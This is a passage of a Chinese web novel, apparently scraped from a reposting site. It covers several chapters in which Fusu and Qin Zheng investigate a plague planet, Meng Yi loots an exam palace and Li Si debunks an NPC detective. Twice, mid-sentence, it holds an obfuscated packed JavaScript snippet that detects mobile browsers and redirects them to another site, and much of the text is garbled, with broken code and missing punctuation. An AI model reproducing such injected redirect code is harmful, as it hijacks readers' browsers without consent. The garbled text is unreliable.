扶苏要是不知道有人盯着自己也就算了,一旦知道了,他反而来了劲。 太子殿下故意往房子的方向走了几步,来到某个居民楼外。他礼貌地敲了敲门,询问主人是否在家。 扶苏很懂事地表示: “如果有人住,就请回应我一声。要是一直无人回应的话,我就自己进去了。 看起来像是想找个落脚地的样子。 实际上,太子早就知道里面有人了。 哪怕不用神识探查,通过呼吸声他也能分辨。修士五感敏锐,很多动静都能轻易分辨。 屋子里的人似乎有些惊慌。 一阵窸窸窣窣的动静后,屋主终于开了口: “别进来,屋里有人。 扶苏计谋得逞,微笑着问道: “你应该发现了吧?我是外来者,对这里一窍不通。 屋主沉默着没有回答。 扶苏也不在意: “相逢即是缘份这样好了你告诉我你知道的一切我就不拆你的屋子了。” 屋主:??? 弹幕:「???」 大概是没见过作风这么强盗的考生屋主一时有些懵。片刻后才反应过来扶苏刚刚都说了什么随即就有些不高兴了。 这群烦人的考生强行来到他们的星球上把好好一个星球当成考场。他们还没表现出不高兴呢考生倒是先威胁起来了。 岂有此理? 能在生物天灾的星球存活一年多到底是有点本事的。屋主既没有被人抢走住所又没有被人抢走食水可见并不好惹。 他立刻掏出了一杆枪从门缝里露出黑洞洞的枪口用实际行动证明自己脾气暴躁大不了就打架。 扶苏饶有兴致地看着这一幕。 方才他见门上有个小洞不知道用什么堵着。这会儿他算是明白了枪口一直堵在上头只不过之前没有伸出来太多而已。 这把枪也不像扶苏见过的那些应该是这个星球特制的或者这位屋主自己制作的。 扶苏并不害怕。 他还伸手把枪口堵住了并询问: “要是我一直堵着枪口的话你扣下扳机它会炸膛吗?” 屋主:…… 弹幕:「……」 一条弹幕悠悠飘过: 「看出来了太子殿下经常拥有一些不合时宜的好奇心。」 但架不住他艺高人胆大。 屋主感觉自己遭受了挑衅差点就不管不顾直接开枪了。反正手被炸烂的又不是他外头那个家伙受伤了活该。 然而在天灾末世里历练出的危险直觉告诉他最好不好作死。 外头的人明知道疫病恐怖还敢无防护地暴露在空气里。甚至敢正常开口说话不怕微生物从口腔进入体内。 他明显是有依仗的。 更别提脑子正常的人会去用手堵枪口吗?敢这么堵的八成不是来自什么普通文明的考生。 屋主脑子里闪过魔法异能等各式各样的神奇手段 屋主把枪缩了回去: “你想知道什么?” 弹幕不理解: 「屋主你怎么就滑跪了 ???」 屋主现在只想把不速之客打发走别杵在他这头祸害他一个了。他把能说的都说了剩下的就算考生还有什么想要知道的内容也只能去祸害别人。 扶苏满意地问道: “那就说说你们这里的官方是怎么没的吧。” 这才一年就各自为政了也太快了一点。 毕竟这里发生的又不是那种山崩地裂式的天灾也不是丧尸那种攻击性极强的人祸。哪怕病毒致死率高一些社会体系也不至于这么快崩溃。 南非那边致死率高的强传染性疫病也不少那头不还过得好好的? 提起这个屋主十分愤恨: “还能因为什么?当然是因为星盟派来的支援大使了!” 他们星球一开始爆发疫病的时候情况虽说也很危急但政府还是能稍微控制一二的。 大家都在积极寻找解决办法想要共渡难关让生活恢复正常。 当时他们对星盟还不够提防。 哪怕明知道星盟不怀好意在对方提出可以帮他们一起研究治疗特效药的时候还是难以避免地心动了。 谁都知道星盟的医疗水平强悍只要星盟愿意出手他们这点小危机根本不是问题随随便便就能解决。 民众都很支持星盟大使加入药物的研究并且期待着他们能早点出结果。 可是—— 屋主越说越气: “刚开始我们星球自己研究特效药的时候即便进展缓慢却也时不时能听见好消息。” “自从星盟插手后就全是坏消息了。” “星盟那头先是说我们科学家研究的药物方向错了应该换一个方向。出于对他们能力的信任除了几个坚持不肯放弃的权威大拿之外剩下的科研团队都听从他们的指点换了研究方向。” “接着没过多久 “当时有业界大佬质疑星盟的药是否真的有效遭到了星盟的封杀打击。他们这种来自高等文明的人轻而易举就能毁掉我们的人才。” 说到这里屋主的语气很是悲哀。 扶苏表示理解: “哪怕没有人支持,星盟自己也可以通过信息手段弄出大量以假乱真的水军网暴别人。甚至还能随意操控别人的账号发布一些内容,损害对方的形象,让民众厌恶对方。” 屋主情绪激动起来: “就是这样的!就是这样的!老教授被气得心脏病发作,后来没有抢救回来!” 扶苏敲了敲门板: “你冷静一点。” 屋主深呼吸几次,确实冷静了一些,接着往下说。 “当时网上有一些人不知道是脑子有问题还是被星盟蛊惑收买了,叫嚣着他们不愿意等试药,希望药物能早点投产发放。” “这样的请求本来不该被允许的,可是星盟人居然同意了。但凡有一点常识都该知道,星盟要么是不怀好意,要么就是参加药物研究的星盟人根本不懂新药研发的规矩,就是个外行。” 这是个让内行人脑溢血的操作,看完能气到半夜睡醒都要坐起来骂两句脑子有坑。 因为星盟是真的一点都没试药,当真把药发放下去了。 偏偏偌大的一个星球上,总有很多没怎么接受过教育的人。他们不懂这件事的严重性,轻而易举地接受了新药。 秦政听了半晌,已经可以推测出后续的发展了。 他淡淡地问道: “吃了药的人最初确实有病愈的迹象,导致很多人误以为这药有效。等大批量服用后,第一批人终于出事了,叫所有人见识到了这药的副作用?” 屋主露出一个似哭似笑的表情,不过屋子里只有他一个人,外面的人其实并不能看见。 大家只能听见他闷闷的说: “是啊,我妈妈就是其中之一。” “她是个很好骗的人,周围人都说这药是星盟人做出来的,肯定不会有假。虽然我极力劝阻,她还是偷偷去领了药吃下去了。” “后来……” 屋主有点说不下去了,他回忆起了当初的场景。 虫子吃空了他妈妈的身体,短短一夜,床上就只剩下一副白骨和一团一团的虫子了。 肉眼很难看清楚的虫豸,即便啃食了血肉也没有长大。它们只是从透明变成了红色,然后团在一起,好像要孕育出什么东西一样。 屋主是个很果决的人,忍着痛苦 把那间屋子里的所有东西都烧掉了。 但还有很多人不舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080687|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得这么对待亲人的尸骨,或者被吓得六神无主没意识到需要处理这些东西。 所以后来虫团里爬出了巴掌大的暗红色巨虫,像老鼠蟑螂一样到处乱窜,会咬人。 被它咬过的人很快也会步上那些吃了特效药的原住民的后尘。 相比之下,外头空气里飘着的虫子反而没那么可怕了。像他们这些抵抗了一年多的原住民,多多少少都产生了一些抗性。 说话间,屋主咳嗽了一声。 这是他第一次咳嗽。 扶苏问他: “你也感染了吗? 屋主淡然地说: “没有人能逃脱感染的,空气里到处都是虫子。把自己裹起来只能减少进入体内的虫子数量,无法彻底摆脱。 这倒是的,扶苏微微点头。 “不过我们这些幸存者其实无所谓,能多活一天是一天。我是吃了后来国内科学家自己研制的药,这才产生了一些抗体。 屋主指的是之前坚持不改研究路线的那些科学家。 红色巨虫的事情出来后,星盟大使就遭到了谴责。吃过药的都害怕自己也会变成那样,疯了一般地要求对方给出解决方法。 这个时候,星盟的人就甩锅了。 他们说,当初不是你们要求不试药,直接把药发下去的吗? 然后又说,现在研究出了二期药。这次的药肯定没有副作用,而且说不定可以解决上一版药遗留下的问题。 毕竟都是治疗虫子的药物,能杀之前的虫,自然也能杀现在的。他们体内的虫还没把人啃光呢,没有完成进化,就一定害怕同一种特效药。 这番鬼话,那些人又信了。 秦政提醒他: “他们别无选择,只能相信。 事情到了这个地步,大部分人都是在自欺欺人。不然还能怎么办,总不能承认自己马上就要死了,不必挣扎了? 屋主明白这个道理,可他还是非常生气。因为星盟丢出第二版新药后,就开始转移矛盾了。 他们声称当初是星球官方劝着他们把没试过的药放出来的,官方承受不住舆情压迫,想要把药放出去安抚大众。 好多人信 了,跑去骂官方。 也有一些人只是单纯的想找个出气筒,明知道官方无辜,也不在意。毕竟他们不敢骂星盟的大使,怕星盟彻底撒手不管,那他们就真没救了。 扶苏挑眉: “局势到了这种地步,星盟已经掌握了星球的大权吧? 官方被泼脏水也无法反抗,大半国民的生死又掌控在星盟手里,这个星球的话事人早就更迭了。 屋主情绪低落: “我们后来才知道,官方当初没有站出来否认,是因为他们听说星盟有一种医疗舱。医疗舱可以把国民体内的虫子彻底解决掉,他们一直在试图和星盟人谈判,让他们调遣医疗舱过来。 所以官方在星盟跟前一退再退。 直到,吃了第二版药的人只是延缓了红虫的出现,并没有真正解决问题。星盟那头如法炮制,又丢出了第三版药物。 秦政眉头微皱: “他们是在用这种药物,控制那些国民。 弹幕总算反应过来了: 「我去,这不就是魔教控制教众的办法吗?先给你喂毒,然后每个月给你一份解药。缓解一下毒性,但是不彻底治好。让你只能一直给他卖命,不敢反抗他。」 屋主一愣: “他们不是在愚弄民众? 他一直以为,星盟那些人就是心肠坏,故意用一些不能完全治好的药给大家吊命,看他们垂死挣扎。 结果听着秦政的意思,星盟并不是单纯为了娱乐,而是为了掌控国民。 秦政只解释了一句: “三番两次,国民渐渐便被驯服了。 接下来他们会为了换到解药活命,无脑听从星盟的引导。除非哪天彻底忍受不了了,才会暴起反抗。 但反抗的终归只是少数。 扶苏换了个角度思索片刻: “我觉得,星盟的那些药物研究者,或许也是在借机试药。 真正的外行人是做不出新药的,也没办法用三言两语糊弄得业内的专业研究员更换药物研发的方向。 所以他们必定是真正的星盟药物研究专家,只不过没安好心。 试想一下,星盟真的会舍得让研究员跑到低等文明来蹉跎时间吗? 会被派来的可能本 身就有点问题。 比如,那几个药物研究员的研究方向比较反社会,但之前又确实立过功不好处置。星盟不乐意让他们留在高等文明祸害自己人,就丢去低等文明了。 屋主麻木地开口: “你们不是才来的吗?” 为什么光从他的讲述里,就能分析出这么多来? 他一个原住民都没发现这一点。 扶苏安慰他: “可能是因为你阅历比较少,不像我们见多识广。” 星盟用的手段和朝堂政斗有异曲同工之妙,属于专业对口了。两位当了几百年皇帝的,一眼就能看出其中猫腻。 屋主一点都没被安慰到。 他只觉得扶苏说话好讨人厌。 屋主选择把话题拉回去: “总之,这样的事情来回经历了好几轮。最疯的时候,那些求药的民众在他们的引导下对基层人员动手,还有去官方的办公大楼闹事的。” 次数多了,谁也受不了。 基层人员也是人,不可能一直忍受着这种针对,还坚守岗位。越来越多的人辞职,基层部门就瘫痪了。 然后慢慢扩散到了中层和高层。 本来虫病就会导致高死亡率,病死了一波,被闹得离职了一波。还有人干脆投靠了星盟。 反正到最后,官方就名存实亡了。 扶苏发现了一件事: “发生了这么多变故,结果才过去一年多?” 星盟这个手段挺粗浅的,做得又快又急切,有些赶了。不知道是不是想尽早折腾完离开的缘故,总觉得原计划应该是慢慢来的。 至少用个三五年吧? 屋主难以回答,他摇了摇头,并不知道里头的内情。 隔壁突然有个小姑娘开口补充: “因为星盟的人被虫子咬伤了!” 小姑娘听声音只有十二三岁。 屋主面色一变: “小鸢!” 外面的人不知道是不是坏人,怎么能随便出声暴露自己呢? ——隔壁这家的长辈都去世了,就留个小孩子。他们生前和屋主家里关系不错,所以他平时会连带着照顾一下。 小鸢坚持往下说: “我有个同学的爸妈 第 209 章 召唤臣子 父子二人赶路的时候,文明晋升考核的其他考场中,考试还在继续。 父子俩短短几个小时就通关了副本,但其他人可没这么高的效率。 蒙毅沉稳地坐在席上。 对于刚从修真位面加完班,出来就又被拉去新的位面加班这件事,蒙毅表示接受良好。 在地府闲着也是无聊,工作狂皇帝手底下的臣子,少有当真能忍受一直闲赋在家的。 蒙毅抽到了一个古代考场。 本场考核的任务是要在不惊动任何人的情况下,成功逃离皇宫。一旦被任意NPC发现他想逃跑,就算考核失败。 而蒙毅目前扮演的身份……是昏君后宫的三千佳丽之一。 蒙毅当时就是一个裂开.jpg 直到他在宫中侍女的带领下来到宫宴上,看清楚了在座的其他宫妃,心情才从崩溃转变为了麻木。 幸好,不是他一个人拿到了奇葩身份。而是这场考试就是这么离谱,所有考生无论男女和种族,全都是一样的遭遇。 右手边坐了一个鱼头人身的海族,蒙毅想不通这个国家的君主得有多重口味才会在宫里养这么个妃嫔。 对于周围那些面不改色的NPC,他在心底表示了叹服。对着这么个妃子都能笑着夸他长得好看,考场果然是个很癫的地方。 相比起来,左手边坐的考生就正常多了,好歹还是完整的人形。那是一个五大三粗的汉子,不仅肌肉虬结,而且胡子拉碴。 蒙毅沉默地看了看他身上绷紧的纤细宫裙,突然有点庆幸自己好歹比兄长他们瘦一些,不至于沦落到如这位仁兄一般的境地。 那汉子扯了扯领口: “勒得我喘不过气了都。” 得亏他传送过来后,就发现身上的衣服已经换了。不然让他自己穿的话,还不一定能顺利穿进去。 可能是汉子的手劲大了一些,也可能是衣服本身就已经绷得太紧快要撑不住了。总之他这么一扯,“嘶啦”一声,胸口的衣服就被扯坏了。 蒙毅:…… 蒙毅默默扭开了视线,不想去看他张牙舞爪的胸毛。 弹幕里飘过一片: 「救命,以后再也无法直视漂亮的宫裙了!」 再往左手边一个位 置,是名女性考生。对方掏出了一方手帕递给大汉,示意他遮一遮胸口。 大汉莫名其妙: “我又不是女人,遮什么? 女考生提醒他: “你现在扮演的是女人。 正说着,上首的NPC宠妃已经一个眼刀子射过来了。 她阴阳怪气地说: “某些人真是不知廉耻,不会以为袒胸露乳就能吸引官家的目光吧? 蒙毅听不下去了,飞快一杯酒洒在自己和大汉身上,然后起身告罪,说要去换一身衣裳。 之后强行把大汉拉了出去。 大汉不明所以: “你是在帮我解围吗? 蒙毅叹气: “你还是早点换衣服吧。 一时间不知道该不该吐槽那个对着一堆胸毛还能说出“袒胸露乳的NPC眼瞎。 这个魔幻皇宫他真的待不下去。 出来赴宴,侍女自然带了备用的衣衫,就是为了预防出现现在的情况,会没有干净衣裙可以换。 但大汉拿到的依然是不合尺寸的,无奈地表示这个真的套不进去。 蒙毅也爱莫能助: “在下的这套并不比你的大。 大汉烦恼了一会儿,最后决定干脆不回席上了。借口方才吃多了酒有些醉了,直接回自己宫中。 蒙毅也没回去。 他刚刚观察过了,自己坐的位置比较偏远,应该属于那种不太显眼的底层宫妃。既然如此,像他这种小透明缺席应该不会引起众人的注意。 他决定先去打探一下皇宫的地形。 弄清了地形才好出逃,不然连往哪里跑都不知道。 蒙毅同样借口醉酒回了自己的宫室中,丢一下句想要安静睡一会儿,不许其他人进来打扰。 而后轻轻松松翻窗而出,没有惊动任何人。靠着听声辨位的本事,成功躲开了来往的宫中侍者。 找了个合适的角落打晕某个男侍,换上了对方的衣服,这下总算能够光明正大在各宫行走了。 可惜现在天还没黑,翻上墙头眺望四处的话,很容易暴露自己。 侍卫们不可能看不见宫墙上站着的人。 但话又说回来,等到天黑了再爬上 墙查看宫中地形,又容易因为黑暗看不太清。 幸而修士的夜视能力强,应该问题不大。 若非他之前只忙着处理公务,根本没有认真修炼过,修士的那些手段也都不曾好好练习,现在其实可以用神识进行探查。 蒙毅走位飘忽地窜进了一处宫室。 他见这边把守的士兵更多,猜测应当是帝王居所。 别的不管,先进去看看。 帝王宫室中线索最多,说不定有皇宫的布防图。就算没有,宫中一般也有宝剑作为装饰品陈列,他可以顺手弄一柄武器。 来之前忘了带把刀在身上了,储物戒里只有些修真界的灵果丹药。 蒙毅努力催眠自己,把这里当成六国王宫。顿时就没有了偷偷探访帝王寝宫的负罪感,回头拿了宝剑还可以上交给陛下和太子。 到了他们秦人手里的东西,就是他们大秦的财产。 蒙毅的目光在书房内逡巡。 按照这个逻辑—— 蒙毅将室内的名贵摆件翻了一遍,把里头的真货收起来,高仿就算了。 随即又窜去了私库,趁着昏君下令要拿东西赏赐给席上某位妃嫔时,跟了进去。 随手打晕了在里头取东西的侍从,将昏君的私库全部筛了一遍。 星盟大概是不怎么在意这些从低等文明收缴来的宝物,所以随便丢到考场里当道具了。东西还挺多的,幸好蒙毅带来的储物戒够大。 扫荡完帝王私库后,蒙毅挑了把手感不错的长剑装备上。 虽然还是没找到布防图,不过总归没有白来一趟。 弹幕已经刷疯了: 「打劫考场是允许的吗?」 「可以打!都可以打!」 「这位是咱们华夏的考生,所以本人代表星盟宣布,允许他去考场打劫。」 「只有我一个人在意,他的姓名是蒙毅吗?这是重名还是本人?」 「本来我是想说重名的……」 「直到他拿出了储物戒是吧?」 「是的,陛下同款储物戒,你说他不是蒙毅本人我不信。」 「蒙卿你居然是这样的蒙卿!」 「蒙毅都出现了,蒙恬还远吗?有没有姐妹找到我们大恬恬的直播间?」 「来了,指路推荐榜257」 「怎么排名那么靠后?」 「因为恬恬不在古代考场,没有历史文化的推荐权重。」 由于蒙毅打劫了私库,他自己是抓住机会溜了,但等事后侍卫们发现不对劲,还是引起了不小的骚动。 昏君下令彻查此事。 宫宴理所当然地开不下去了,考生们得以脱身离开。蒙毅藏在树后听着路过的众人议论纷纷,假装自己只是个沉默的小内侍。 他听到有人吐槽: “太离谱了,你看到没有?刚刚那昏君听说有两个妃嫔不胜酒力先回去休息了,眼睛差点冒绿光。” “我懂,他想玩醉酒play是吧?” “不过现在他可没心思搞这些了,听说他的宝库被人洗劫一空,活该!幸好他没了那个心思,不然万一挑中谁,要怎么应付?” 虽然拿到妃嫔身份牌之后就猜到可能要应付侍寝这样的事,NPC是机器人其实并不会真的对他们怎么样。 但是谁乐意应付这种剧情啊,星盟可真会恶心人的。 蒙毅眉头微皱。 他在思索一个问题,宝物丢失皇宫戒严,恐怕会影响考生们出逃。 有什么办法可以解决这个问题? 是夜。 蒙毅再一次出现在帝王寝宫。 即便这里的守卫变得越发森严了,也不影响蒙毅轻易潜入。 周遭的NPC很快都被蒙毅制住,打晕后捆缚在一起,关入偏殿中。 仿生机器人就是这点好,被攻击后会模拟出应该有的反应,而不是“机器人不会晕倒”。 星盟为了提升真实度设置的NPC,倒是方便了蒙毅搞事情。 等这里只剩一个皇帝的时候。 昏君在睡梦中感觉到脖子一凉。 他一个激灵清醒过来,发现室内点着一盏昏暗的烛灯,一个戴着面具的陌生男子正用剑比在他脖颈上。 昏君:!!! 昏君险些晕过去。 弹幕也险些晕过去: 「蒙面的毅毅!我可以!」 「截图留念,这个可以当屏保了,蒙面帅哥yyds!」 「光线太暗了,能不能去个亮的地方让我仔细欣赏 一下?」 「只有我觉得灯下更美吗?」 「昏君你好大的艳福——」 「昏君:???人话?」 「我不介意一觉醒来发现自己被蒙面帅哥拿剑指着脖子,毕竟我又不是昏君,蒙卿不会伤害我的!」 「前头的姐妹你苦茶子捡一下」 看不见弹幕的蒙毅不受影响地按照原计划开始威胁。 他给自己捏了绿林好汉的人设,假装自己是听说了昏君强抢民女,于是前来要昏君狗命。 蒙毅木着脸念台词: “今日我便要取你项上人头! 「哈哈哈哈这个演技我给0分」 「声情并茂一点啊!给点情绪,干巴巴念台词的话这一条是过不了的!」 「导演:救不了,下一个。」 「导演:演的什么东西?」 「没关系,现在的影视剧只看脸不看演技。」 「蒙卿都努力自己写剧本了,你们还想要什么自行车?」 「我只想知道,蒙卿这样的正经人,到底是怎么变成现在这样的?史书记载里他很沉稳端庄的啊!」 「好问题,建议问一下太子。」 昏君本人一点都不觉得蒙毅演技差,他现在快要吓死了。 可能是因为蒙毅看他的眼神确实就和看死人一样,所以哪怕台词念得再差也不影响整体效果。 昏君大声叫停: “别杀我!别杀我!我可以把美人都放了! 蒙毅动作一顿: “我不信。 昏君眼看有戏,立刻保证: “我明天一大早!不,我现在立刻就写诏书!让她们都出宫去! 蒙毅从储物戒里掏出纸笔墨水: “写吧。 昏君:…… 昏君倒抽一口凉气: “你你你从哪里拿出来的?! 这不仅是个武林高手,还是个会妖术的武林高手。惹不起,真的惹不起。 蒙毅的剑逼近了他脖子: “少废话,快写。 昏君不敢再多话,哆哆嗦嗦地爬起来,扑在桌案上飞快蘸墨写完诏书,又被逼着按下了大印。 然后,蒙毅要求他立刻将圣旨下发 下去。 不得已昏君只好抖若筛糠地摇醒了一个倒在地上的侍官让他去各宫宣旨。 侍官看了一眼蒙毅立刻点头: “小人这就去!” 蒙毅却不会掉以轻心。 他将昏君打晕之后绑起来然后就跟上了侍官摆明了要亲自盯着。 手法简单粗暴不要紧反正考生离开皇宫范围之后就会通关传送走。 考试要求只是说不能让NPC发现自己有逃离皇宫的想法不涉及到别人。而且还是蒙毅强迫别人离开皇宫的不算违反规则不会影响他们通关。 至于蒙毅自己随便就能翻出去倒是无需走这个路线了。 扶苏闲来无事打开直播列表想找点东西看。结果一眼扫见了封面上眼熟的脸立刻点了进去。 那封面是截取的蒙毅穿着侍者服饰、没带面具时候的模样。 但是这会儿进去的时候剧情已经进展到了蒙毅威胁昏君。 扶苏眨了眨眼: “阿父你快来看。” 秦政疑惑地偏头: “什么?” 扶苏兴致勃勃地分享: “蒙毅犯上作乱!” 秦政:??? 太子殿下是懂提炼关键词的。 秦政只好自己打开直播间瞅了一眼 他就知道太子在危言耸听。 扶苏感叹道: “蒙卿为了通关真是付出良多可惜没看到弹幕上说的他女装时候的模样。” 还是来晚了。 华夏国的网络上应该传遍了只是他们现在身处外太空根本连不上华夏的网。 秦政瞥了一眼幸灾乐祸的儿子: “他能倒霉抽到扮演宫妃焉知你以后不会倒霉抽到扮演其他女子?” 扶苏顿了顿: “有道理好在我的运气已经恢复正常了。” 如果他还是当初的非酋太子今天抽中女装考场的就不是蒙毅而是他了。幸好啊幸好他先把气运修复了才有今日安心看蒙毅笑话的机会。 扶苏又翻了翻别的直播间。 蒙恬的直播间里通关要求是从敌人手里夺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080688|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回被抢走的某样物品。 然后 蒙大将军不出意外地把同场考生都训练成了手下兵卒,靠着兵法谋略轻轻松松将敌军坑了进去。 现在考生已经把敌军包围了,勒令敌军归还宝物。 嗯,一百个考生包围了一千个敌军。但是有什么关系呢?反正敌军傻了吧唧的又分不清他们到底有多少人。 李斯的直播间同样非常专业对口。 他进入了一个命案的考场,考试要求他通过蛛丝马迹判断被害人是怎么死亡的。如果是他杀,需要找到关键性证据并推理出详细的作案过程。 被迫加班的李丞相丧着一张脸坐在沙发上,对面是一个NPC侦探在侃侃而谈,抒发自己对别墅主人死亡的猜测。 同场十名考生,至少有八个是没接触过悬疑故事的外星友人。 所以他们被半吊子侦探唬得一愣一愣的,相信了侦探关于“别墅主人肯定是半夜出来喝水,才一不小心踩滑摔下楼梯死亡的判断。 侦探用来说服大家相信的论证,居然只是一句“经过我的审问,到目前为止没有任何一个人存在对别墅主人的杀机,根本没人想要害他,所以他肯定是自杀。 李斯怀疑那八个傻白甜考生可能脑子从生下来之后就没怎么动过,他们难道完全没有考虑过别墅佣人的证词存在隐瞒和编造的可能性吗? 系统偏偏在此时弹出结案投票: 【请问是否进行结案?】 下面是三个选项,自杀、他杀和否。 李斯立刻点了否。 他其实已经猜到了凶手是谁,但是关键证据还没找到,所以暂时不能进行回答。 同场八个傻白甜考生就要选自杀。 李斯摁住了突突直跳的太阳穴: “且慢,侦探的推理存在着一个非常严重的漏洞。 八傻停下了按按钮的手。 NPC侦探很不高兴: “我可是专业的侦探,你还能比我更懂推理? 剩下那个迷茫的考生左看看右看看,不知道该听谁的。他之所以没有跟着八傻一起上当,主要是因为他对NPC存在着天然的提防心理。 李斯深吸一口气: “别墅主人是个习惯被人伺候的贵族。 侦探反问:“所以呢? 八傻也不懂:“所以呢? 李斯:…… 李斯只好把话挑明了: “贵族是不会因为晚上睡醒口渴了想喝水,就自己跑出来倒水喝的。他只会摇铃让佣人去给他倒水,懂了吗? 八傻恍然大悟: “有道理啊! 扶苏看得噗嗤一笑: “丞相实在是辛苦了,一拖八,全队共享一个脑子。 扶苏把那八个考生扒拉了一遍。 有来自魔法文明的狂战士,有来自蛮荒文明的石头人,有来自兽人文明的熊族,还有来自原始文明的部落勇士。 基本都是四肢发达头脑简单那一挂的,合理怀疑是李斯运气太差。 不然要是单纯的考场故意把不爱动脑子的匹配进智商型副本,怎么里头还会有个李斯呢? 秦政帮自家丞相说了句公道话: “或许因为李斯是通过神帝加塞进去的。 别忘了神帝帮忙解决了考场匹配的问题,不然单纯的随机匹配,李斯不一定能去异次元考场。 扶苏很快想到了反驳的点: “那也不能证明他运气不差!那么多考场呢,他偏偏在这样的考场里遇到了这么一批同伴! 秦政看出来了。 他家太子只是单纯的想论证有人比自己更倒霉而已,大概这样会让阿苏觉得心里受到了安慰。 于是秦政果断附和: “也是,李斯往年也很倒霉。 陛下举了个例子。 说当初有刺客想要刺杀自己,但是考虑到秦王不常出宫,于是决定把廷尉李斯抓了,胁迫他配合刺客行动。 不选别人偏挑李斯,定然是因为李斯脸黑。 绝口不提真正的原因是全朝野只有李斯一个人会固定去城外遛狗,咸阳城里人人皆知,一堵一个准。 扶苏笑吟吟地听着: “阿父这番话要是叫丞相听见,又要在心里腹诽您为了哄儿子开心,没有原则了。 秦政揪了揪他的耳朵: “朕都是为了谁? 扶苏捂住耳朵,逃避了这个话题。 直播间里,NPC侦探正在负隅顽抗。 侦探努力挽尊: “虽说贵族很 少自己动手却也不是完全不会的。他们又不是没有手 李斯臭着张脸回应: “他屋子里是没水吗?侦探检查过了吗?” 侦探:…… 当即就有人跑上楼去查看片刻后下来了。说屋子里有茶壶和水杯里面确实还有水。 侦探弱弱地声辩: “茶壶里的可能凉了。” 李斯:“所以来厨房现烧吗?” 侦探:………… 烧水就更不可能亲自动手了贵族可不见得会点火。 考场的背景设置在上世纪的西方当时虽然已经出现了电气革命但简单好用的烧水壶并没有发明出来大家日常还是用木柴的。 等侦探忿忿地离开回房之后。 李斯无语地看向八傻: “你们能不能长点脑子?考场把你们丢进来查清命案你觉得它会那么好心还给你送个帮忙破案的侦探吗?” 第九人大声附和: “就是!我早就想说了!那个侦探保不齐是故意放出来坑我们的!” 八傻之一尴尬地说: “我以为考场是走的反套路。就是故意安排个人告诉我们真相然而我们都不肯相信排除了他的说法。结果他说的才是真的我们上当了。” 李斯不否认有这种可能。 但—— “就算他说的自杀是对的从楼梯上不小心摔下来这算自杀吗?这是意外死亡!而且他完全可以给你一个正确的结论同时提出错误的过程。” 哪怕选择自杀也要详细讲述自杀的原因和过程。这两项出错也会影响最终的考核。 起夜喝水明显是错误原因不能完全听信。 八傻乖乖低头听训。 扶苏看得津津有味: “看来自作聪明的队友比猪队友还叫人头疼。” 不过这个副本对丞相来说没什么难度断案是他的老本行了。所以扶苏很快又切换去看了看别的臣子。 往下翻到了史菅。 史官居然也来了估计是来凑热闹的。指望他帮上什么忙可能性不大。 扶苏喝了口蜜水准备看戏: “史爱卿 第 210 章 援军 海边阳光明媚,沙滩是少见的白色细沙,搭配蔚蓝的天空和清透的海洋,简直美不胜收。 弹幕区一片截图留念的。 高挑俊美的父子二人穿着仙袍,宽大的袍袖被海风一吹,简直要飘到人的心里去。 「这背影太有氛围感了!!」 扶苏伸手遮了遮刺目的阳光,看见远处并非只有空茫茫的海面。仔细辨认的话,其实这一片存在不少海岛。 应该不是海市蜃楼。 扶苏很快猜测道: “荒岛求生恐怕是一个参与人数非常多的考场,只不过按照岛屿划分出了不同的部分。” 之前的丧尸和虫灾也是这样的。 当时他们都以为当前空间考场就一个,一共一百人。后来才发现不是的,以星球作为考场的情况下,实则分出了许多个分同类型的考场。 只不过一开始只有几千个考场同时开放,考生数量不够多,像丧尸考场就只开启了一处。 后来二期三期的报名开放后,就出现了同一个星球拥有多个考场的情况。像闹鬼星球那样只有十个考场,反而是少数。 可能因为闹鬼和丧尸这些不一样,闹鬼是稀有事件,而且一个闹鬼场所也确实没办法同时接纳太多考生。 丧尸考场就不一样了,有必要的话一个城市就能作为一个分考场存在。 秦政远眺最近的一个海岛: “要过去看看吗?” 扶苏有点想去,可他们没有船只。考场不让用超自然力量,估计就是防止他们往别的分考场上钻。 扶苏怀疑别的考场可能有熟人: “之前只是说不让大家匹配到同一个考场,但同一个次空间的分考场,或许不会被当成同一个考场。” 说不得周围哪个海岛上就有臣子。 秦政弯腰拾起一枚蛤蜊: “既然无法出海,思考这些也无用。” 而后将那蛤蜊壳展示给儿子看: “像不像阴嫚当年捡的那堆丑贝壳?” 扶苏认真观察了一下: “有点像,她喜欢这样的。等我们把蛤蜊吃了,就把壳留下来送给她。” 小公主当年非要不走寻常路,捡一堆奇形怪状的丑贝壳串成禁步戴着玩。扶苏不理解 ,但表示尊重。 父子俩兴致勃勃地捡了一堆花纹难看的贝壳,认定这就是阴嫚喜欢的。眼看天色将晚,便在海边升起火堆烤蛤蜊吃。 生火对于父子俩来说没有难度。 扶苏装模作样地捡了一堆用来生火的东西,然后开始折腾钻木取火。 刚钻了两下,就冒出了火苗。 眼尖的网友发现了端倪: 「你家火苗一开始是黑红色的?」 也有网友熟练地帮忙找补: 「大家看错了,那个黑色是因为钻木的树洞里太暗,才把火焰衬托得黑不溜秋。」 「……」 「你们可真能睁眼说瞎话啊!」 「黑红色的火焰,有点好看了,是传说中的地府冥火吗?」 「我以为冥火应该和鬼火一样是绿色的,再不济也该是苍白色的。」 「那,业火?」 扶苏靠着玄火作弊,顺利把火给生起来了。玄火闹腾着想出来玩,被扶苏一手摁回了指尖里。 它只能不情不愿地缩小成灰尘那么大,顺着经脉回到丹田里趴着。 